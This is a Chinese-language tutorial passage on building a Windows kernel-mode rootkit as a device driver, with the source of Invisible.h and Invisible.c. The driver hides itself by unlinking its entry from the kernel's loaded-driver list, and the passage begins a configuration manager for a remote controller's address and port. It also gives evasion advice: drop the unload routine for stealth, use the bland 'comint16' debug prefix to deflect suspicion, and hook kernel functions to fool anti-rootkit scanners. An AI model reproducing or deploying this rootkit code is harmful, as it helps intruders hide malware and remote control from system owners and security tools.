- A+
一、综述
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:
//Invisible.h:我们rootkit的头文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全局变量
ULONG majorVersion;
ULONG minorVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系统的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}
// 隐藏该驱动程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允许卸载本驱动程序
pDriverObject->DriverUnload = OnUnload;
// 为本Rootkit的控制器配置连接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
Invisible.c是该rootkit的主体结构,其中包括入口函数DriverEntry和卸载函数OnUnload。操作系统加载该驱动程序时将调用入口函数。我们看到,在传递给入口函数的参数中有一个是DRIVER_OBJECT,它的作用是给出跟该驱动程序通信时所调用的函数的映射表。就本例而言,我们仅仅映射了一个函数pDriverObject-〉DriverUnload,这样以来,当卸载驱动程序时,操作系统调用onunload函数就可行了。需要特别说明的是,这一点在rootkit开发过程中特别实用,不用重启系统就可以卸载驱动程序,但是它却带来了一个大问题:容易被发现,所以在隐蔽性要求较高时不能使用,我们已经在源代码的相应部分给出了注释。
下面我们看一下该rootkit如何实现隐形。我们将隐藏设备驱动程序的代码摘录如下:
// 隐藏该驱动程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
为了达到不让操作系统找到我们的rootkit设备驱动程序的目的,这段代码修改了系统内核中的一个内部数据结构。系统中有一个双向链表,专门记录当前运行着的驱动程序,也就是说每个运行的驱动程序在该链表中都有一个对应的表项。像drivers.exe之类的应用程序,正是通过该链表来获取设备驱动程序信息的,换句话说,如果从该链表中摘除本rootkit对应的表项,就能隐藏该rootkit的存在,从而躲过大多数的检测。
细心的读者也许会问:能藏起来固然是好,不过系统若仅通过该链表来感知驱动程序的存在的话,我们的这样做岂不是自己把rootkit给干掉了?!的幸运的是,Windows操作系统的内核使用另一个表来给各运行中的驱动程序分配时间,所以,即使从设备驱动程序列表清除rootkit相应的表项,我们的rootkit也照样活得很自在。
利用该技术隐匿rootkit时,必须注意一点:如果已在我们的rootkit之前安装了anti-rootkit软件,“清除一个设备驱动程序表项”这一行为本身有可能被发觉,从而引起人们的注意。读者会问:这该怎么办呢?答案是,先记下本rootkit所对应的设备驱动程序表项的地址,然后钩住钩住检查设备驱动程序链表的内核函数,当这个函数要检查该链表时,我们就有机会提前把保存的表项放回到设备驱动程序链表。当检查过后,再将该表项摘除。这样,在rootkit检测程序看来,没有人在设备驱动程序链表做手脚:反Rootkit软件被我们忽悠了。不过该技术较为复杂,超出了本文的讨论范围,有机会我们会专文讲解。
您可能已经注意到,在Invisible.c中很多地方都使用了调试语句。事实上,DbgPrint语句基本上可以在rootkit中随意放置。在本例中,我们使用DbgPrint语句用来监视驱动程序的装卸和错误状态。不过该语句的输出不会直接显示到标准输出设备即显示器上,只有在DebugView程序的帮助下,我们才可以查看这些语句的输出。除DebugView程序外,内核程序调试工具也可以达此目的。另外,我们的调试语句还有一个特点,它们都以comint 32开头,这样做一方面是用以区别其他程序的调试语句的输出。 另一方面利用comint 32这个词是为了掩人耳目,因为这个词很难让人跟rootkit联系到一块。
三、配置管理器
我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:
// configManager.h
// 配置管理器的头文件
#ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_
Char masterPort[10];
Char masterAddress1[4];
Char masterAddress2[4];
Char masterAddress3[4];
Char masterAddress4[4];
NTSTATUS Configure();
#endif